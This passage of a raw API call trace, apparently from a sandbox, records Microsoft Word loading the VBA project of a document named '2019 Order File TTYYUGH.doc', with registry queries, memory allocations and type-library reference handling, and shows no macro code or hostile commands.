_Destination=0x819a420, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0036.667] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x180) returned 0x80b94f0 [0036.667] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x8109a50 [0036.667] IMalloc:Alloc (This=0x7feff045380, cb=0xb8) returned 0x8109990 [0036.667] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x815d6e0 [0036.667] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x80) returned 0x819b5b0 [0036.667] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x815d930 [0036.667] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x815db80 [0036.667] IMalloc:Alloc (This=0x7feff045380, cb=0x28) returned 0x81c5cc0 [0036.668] IMalloc:Alloc (This=0x7feff045380, cb=0x10) returned 0x81b1ea0 [0036.668] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x266c6c, cchData=6 | out: lpLCData="1252") returned 5 [0036.668] atoi (_Str="1252") returned 1252 [0036.668] GetLocalTime (in: lpSystemTime=0x266c60 | out: lpSystemTime=0x266c60*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0x9, wMilliseconds=0x370)) [0036.668] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819b640 [0036.668] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116e60 [0036.668] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819b6d0 [0036.668] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c6320 [0036.668] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819b760 [0036.668] IMalloc:Realloc (This=0x7feff045380, pv=0x819b760, cb=0x280) returned 0x8104c90 [0036.668] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116dd0 [0036.668] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116e90 [0036.668] strcpy_s (in: _Dst=0x266a40, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0 [0036.668] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0 [0036.668] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7fee40c04a8, lpdwDisposition=0x0 | out: phkResult=0x7fee40c04a8*=0x9d8, lpdwDisposition=0x0) returned 0x0 [0036.669] RegQueryValueExA (in: hKey=0x9d8, lpValueName="RequireDeclaration", lpReserved=0x0, lpType=0x266b18, lpData=0x266b10, lpcbData=0x266b14*=0x4 | out: lpType=0x266b18*=0x0, lpData=0x266b10*=0x67, lpcbData=0x266b14*=0x4) returned 0x2 [0036.669] RegQueryValueExA (in: hKey=0x9d8, lpValueName="CompileOnDemand", lpReserved=0x0, lpType=0x266b18, lpData=0x266b10, lpcbData=0x266b14*=0x4 | out: lpType=0x266b18*=0x0, lpData=0x266b10*=0x0, lpcbData=0x266b14*=0x4) returned 0x2 [0036.669] RegQueryValueExA (in: hKey=0x9d8, lpValueName="NotifyUserBeforeStateLoss", lpReserved=0x0, lpType=0x266b18, lpData=0x266b10, lpcbData=0x266b14*=0x4 | out: lpType=0x266b18*=0x0, lpData=0x266b10*=0x1, lpcbData=0x266b14*=0x4) returned 0x2 [0036.669] RegQueryValueExA (in: hKey=0x9d8, lpValueName="BackGroundCompile", lpReserved=0x0, lpType=0x266b18, lpData=0x266b10, lpcbData=0x266b14*=0x4 | out: lpType=0x266b18*=0x0, lpData=0x266b10*=0x0, lpcbData=0x266b14*=0x4) returned 0x2 [0036.669] RegQueryValueExA (in: hKey=0x9d8, lpValueName="BreakOnAllErrors", lpReserved=0x0, lpType=0x266b18, lpData=0x266b10, lpcbData=0x266b14*=0x4 | out: lpType=0x266b18*=0x0, lpData=0x266b10*=0xff, lpcbData=0x266b14*=0x4) returned 0x2 [0036.669] RegQueryValueExA (in: hKey=0x9d8, lpValueName="BreakOnServerErrors", lpReserved=0x0, lpType=0x266b18, lpData=0x266b10, lpcbData=0x266b14*=0x4 | out: lpType=0x266b18*=0x0, lpData=0x266b10*=0x0, lpcbData=0x266b14*=0x4) returned 0x2 [0036.669] RegCloseKey (hKey=0x9d8) returned 0x0 [0036.669] IMalloc:Alloc (This=0x7feff045380, cb=0xc0) returned 0x81af9d0 [0036.669] IMalloc:Alloc (This=0x7feff045380, cb=0xc0) returned 0x81afd10 [0036.669] IMalloc:Alloc (This=0x7feff045380, cb=0x1300) returned 0x81d5cc0 [0036.669] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x2530000 [0036.670] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x2ed0000 [0036.670] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0036.670] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x30) returned 0x7e67500 [0036.670] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x2ac0000 [0036.671] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0036.671] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2f10000 [0036.671] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x2f20000 [0036.672] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x2fb0000 [0036.672] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Intrinsics") returned 0x109464 [0036.673] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x2fd0000 [0036.673] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Unknown") returned 0x10a11d [0036.673] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="") returned 0x10c0b3 [0036.673] CExposedDocFile::OpenStream () returned 0x0 [0036.673] IMalloc:Alloc (This=0x7feff045380, cb=0x420) returned 0x81d6fd0 [0036.673] CExposedStream::AddRef () returned 0x2 [0036.673] CExposedStream::Release () returned 0x1 [0036.673] CExposedStream::Read () returned 0x0 [0036.675] CompareStringA (Locale=0x409, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2 [0036.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x266ad4, cbMultiByte=2, lpWideCharStr=0x266ae8, cchWideChar=2 | out: lpWideCharStr="") returned 2 [0036.676] IMalloc:Alloc (This=0x7feff045380, cb=0x100) returned 0x8194b80 [0036.676] wcsncpy_s (in: _Destination=0x40460e8, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x30 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#") returned 0x0 [0036.676] wcscpy_s (in: _Destination=0x4046148, _SizeInWords=0x50, _Source="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0036.676] wcscpy_s (in: _Destination=0x40461aa, _SizeInWords=0x1f, _Source="#Visual Basic For Applications" | out: _Destination="#Visual Basic For Applications") returned 0x0 [0036.677] IMalloc:Realloc (This=0x7feff045380, pv=0x819b6d0, cb=0x180) returned 0x80b9680 [0036.677] wcscpy_s (in: _Destination=0x80b96a8, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0036.677] IMalloc:Free (This=0x7feff045380, pv=0x8194b80) [0036.677] wcsncpy_s (in: _Destination=0x2667c0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0036.677] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x7f | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x7f [0036.677] IMalloc:Alloc (This=0x7feff045380, cb=0x100) returned 0x8194b80 [0036.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=128, lpMultiByteStr=0x8194b80, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 128 [0036.677] IMalloc:Free (This=0x7feff045380, pv=0x8194b80) [0036.677] IMalloc:Realloc (This=0x7feff045380, pv=0x8194a70, cb=0x200) returned 0x80efbd0 [0036.677] wcscpy_s (in: _Destination=0x80efc88, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0036.677] wcsncpy_s (in: _Destination=0x266800, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0036.677] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x7f | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x7f [0036.677] IMalloc:Alloc (This=0x7feff045380, cb=0x100) returned 0x8194a70 [0036.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=128, lpMultiByteStr=0x8194a70, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 128 [0036.677] IMalloc:Free (This=0x7feff045380, pv=0x8194a70) [0036.677] wcsncpy_s (in: _Destination=0x2667c0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.677] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", cchLength=0x38 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc") returned 0x38 [0036.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", cchWideChar=57, lpMultiByteStr=0x2666f0, cbMultiByte=114, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", lpUsedDefaultChar=0x0) returned 57 [0036.677] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0 [0036.677] IMalloc:Alloc (This=0x7feff045380, cb=0x112) returned 0x804be90 [0036.678] wcsncpy_s (in: _Destination=0x40460e8, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#") returned 0x0 [0036.678] wcscpy_s (in: _Destination=0x4046148, _SizeInWords=0x59, _Source="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB") returned 0x0 [0036.678] wcscpy_s (in: _Destination=0x40461b2, _SizeInWords=0x24, _Source="#Microsoft Word 16.0 Object Library" | out: _Destination="#Microsoft Word 16.0 Object Library") returned 0x0 [0036.684] IMalloc:Realloc (This=0x7feff045380, pv=0x80b9680, cb=0x300) returned 0x802e850 [0036.684] wcscpy_s (in: _Destination=0x802e9a0, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0036.684] IMalloc:Free (This=0x7feff045380, pv=0x804be90) [0036.684] wcsncpy_s (in: _Destination=0x2667c0, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0036.684] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x88 | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x88 [0036.685] IMalloc:Alloc (This=0x7feff045380, cb=0x112) returned 0x804be90 [0036.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=137, lpMultiByteStr=0x804be90, cbMultiByte=274, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 137 [0036.685] IMalloc:Free (This=0x7feff045380, pv=0x804be90) [0036.685] IMalloc:Realloc (This=0x7feff045380, pv=0x80efbd0, cb=0x400) returned 0x3ef6410 [0036.685] wcscpy_s (in: _Destination=0x3ef65f8, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0036.685] wcsncpy_s (in: _Destination=0x266800, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0036.685] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x88 | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x88 [0036.685] IMalloc:Alloc (This=0x7feff045380, cb=0x112) returned 0x804be90 [0036.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=137, lpMultiByteStr=0x804be90, cbMultiByte=274, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 137 [0036.685] IMalloc:Free (This=0x7feff045380, pv=0x804be90) [0036.685] wcsncpy_s (in: _Destination=0x2667c0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.685] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", cchLength=0x38 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc") returned 0x38 [0036.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", cchWideChar=57, lpMultiByteStr=0x2666f0, cbMultiByte=114, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", lpUsedDefaultChar=0x0) returned 57 [0036.685] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0 [0036.685] IMalloc:Alloc (This=0x7feff045380, cb=0xbe) returned 0x81afde0 [0036.685] wcsncpy_s (in: _Destination=0x81ab648, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _MaxCount=0x30 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#") returned 0x0 [0036.685] wcscpy_s (in: _Destination=0x81ab6a8, _SizeInWords=0x2f, _Source="C:\\Windows\\System32\\stdole2.tlb" | out: _Destination="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0036.685] wcscpy_s (in: _Destination=0x81ab6e6, _SizeInWords=0x10, _Source="#OLE Automation" | out: _Destination="#OLE Automation") returned 0x0 [0036.685] IMalloc:Realloc (This=0x7feff045380, pv=0x802e850, cb=0x600) returned 0x81d7400 [0036.685] wcscpy_s (in: _Destination=0x81d7690, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0036.685] IMalloc:Free (This=0x7feff045380, pv=0x81afde0) [0036.685] wcsncpy_s (in: _Destination=0x2667c0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0036.685] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0036.685] IMalloc:Alloc (This=0x7feff045380, cb=0xbe) returned 0x81afde0 [0036.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x81afde0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0036.685] IMalloc:Free (This=0x7feff045380, pv=0x81afde0) [0036.685] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0036.685] wcscpy_s (in: _Destination=0x3ef6740, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0036.685] wcsncpy_s (in: _Destination=0x266800, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0036.685] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0036.685] IMalloc:Alloc (This=0x7feff045380, cb=0xbe) returned 0x81afde0 [0036.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x81afde0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0036.686] IMalloc:Free (This=0x7feff045380, pv=0x81afde0) [0036.686] wcsncpy_s (in: _Destination=0x2667c0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.686] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", cchLength=0x38 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc") returned 0x38 [0036.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", cchWideChar=57, lpMultiByteStr=0x2666f0, cbMultiByte=114, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc", lpUsedDefaultChar=0x0) returned 57 [0036.686] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0 [0036.686] IMalloc:Alloc (This=0x7feff045380, cb=0x14) returned 0x81b1f80 [0036.686] IMalloc:Alloc (This=0x7feff045380, cb=0x14) returned 0x81b1cc0 [0036.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x266a10, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0036.686] _stat64i32 (in: _FileName="Normal", _Stat=0x266c30 | out: _Stat=0x266c30) returned -1 [0036.688] wcscpy_s (in: _Destination=0x81c5fce, _SizeInWords=0x7, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0036.688] wcscpy_s (in: _Destination=0x81d7778, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0036.688] IMalloc:Free (This=0x7feff045380, pv=0x81b1cc0) [0036.688] IMalloc:Free (This=0x7feff045380, pv=0x81b1f80) [0036.688] wcsncpy_s (in: _Destination=0x2667c0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0036.688] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0036.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x2666f0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0036.688] _wcsicmp (_String1="*\\CNormal", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 11 [0036.688] IMalloc:Realloc (This=0x7feff045380, pv=0x3ef6410, cb=0x800) returned 0x7cb6f20 [0036.688] wcscpy_s (in: _Destination=0x7cb7340, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0036.688] wcsncpy_s (in: _Destination=0x266800, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0036.688] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0036.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x266730, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0036.688] wcsncpy_s (in: _Destination=0x2667c0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc") returned 0x0 [0036.688] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2019 Order File TTYYUGH.doc", cchLength=0x38 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2019 order file ttyyugh.doc") returned 0x38 [0036.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 